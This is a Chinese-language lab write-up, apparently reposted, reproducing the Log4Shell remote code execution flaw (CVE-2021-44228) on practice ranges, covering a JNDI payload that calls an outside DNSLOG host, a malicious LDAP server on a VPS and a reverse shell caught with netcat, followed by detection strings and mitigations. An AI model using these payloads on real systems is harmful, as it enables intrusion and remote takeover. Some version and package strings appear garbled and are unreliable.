Apache log4j2-RCE 漏洞復現(CVE-2021-44228)


Apache log4j2-RCE 漏洞復現

image

0x01 漏洞簡介

Apache Log4j2是一個基於Java的日志記錄工具。由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿里雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,只需檢測Java應用是否引入 log4j-api , log4j-core 兩個jar。若存在應用使用,極大可能會受到影響。

0x02 環境准備

image

驗證靶場:

1.CTFshow (https://ctf.show/challenges#Log4j復現-1730)

image

2.VULFOCUS(http://vulfocus.fofa.so/#/dashboard)

image

3.掌控安全封神台(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

image

0x03 漏洞驗證(DNSLOG篇)

我們通過JNDI注入請求DNSLOG的惡意語句,如果在DNSLOG端能查看到訪問記錄,則證明遠程代碼執行漏洞存在

我們CTFshow的靶場來做后續驗證

我們直接在登錄框輸入惡意代碼:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

image

然后我們成功在DNSLOG端查看到訪問記錄,證實這里漏洞存在

image

0x04 漏洞驗證(遠程代碼執行彈計算器&記事本篇)

在這里我們需要准備好一台有公網IP的VPS,然后在服務器端一個惡意代碼類exploit.class(將惡意代碼類通過javac編譯得到)一個LDAP服務器log4j.jar(為運行方便,將LADPRefServer.java打包成jar包上傳到服務器)
本地端需要准備好一個LDAP客戶端(含log4j2執行代碼)

首先我們在服務器端開啟LDAP服務端口監聽,我這里設置的是7912端口

image

開啟LDAP服務

image

然后我們只需要在本地運行LDAP客戶端(含log4j2錯誤調用的代碼)

image

由於我們在惡意代碼里執行的測試命令是notepad和calc

image

不出意外的彈出了記事本和計算器

image

0x05 漏洞深度利用(反彈shell)

在這里我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來生成payload

工具地址:
https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然后使用如下網址來加密反彈shell命令

加密網址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反彈shell方法:
https://www.freebuf.com/articles/system/178150.html

image

image

我這里綁定的是服務器的9999端口(別忘了在服務器安全配置和寶塔安全配置開啟端口)

然后我們就獲得了payload

image

之后我們在服務器開啟對於9999端口的監聽

nc -lvnp 9999

image

然后我們在靶場框輸入我們的惡意payload

image

點擊提交之后我們發現反彈shell成功

image

0x06 影響范圍及排查方法

影響范圍:

使用了log4j的組件並且版本在3.x <= 2.14.1

排查方法:

1.pom版本檢查
2.可以通過檢查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符來發現可能的攻擊行為
3.檢查日志中是否存在相關的堆棧報錯,堆棧里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi調用相關的堆棧信息
4.各種安全產品

自查工具:

https://sca.seczone.cn/allScanner.zip
https://static.threatbook.cn/tools/log4j-local-check.sh

需要注意的是並不是所有的使用了log4j2的項目|客戶端都會受到影響:

image

0x07 修復建議

官方方案:
1、將Log4j框架升級到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2

2、臨時方案
1、升級JDK
2、修改log4j配置
    ①設置參數:
    log4j2.formatMsgNoLookups=True
    ②修改jvm參數:
    -Dlog4j2.formatMsgNoLookups=true
    ③系統環境變量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設置為true
    ④禁止log4j2所在的服務器外連
3、使用安全產品防護:WAF、RASP

0x08 涉及資源

https://www.icode9.com/content-4-1255614.html
https://github.com/welk1n/JNDI-Injection-Exploit
https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/
https://www.jackson-t.ca/runtime-exec-payloads.html
https://chowdera.com/2021/12/202112102325553772.html
https://github.com/bkfish/Apache-Log4j-Learning
https://www.freebuf.com/articles/system/178150.html
https://github.com/fengxuangit/log4j_vuln
http://vulfocus.fofa.so/#/dashboard


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM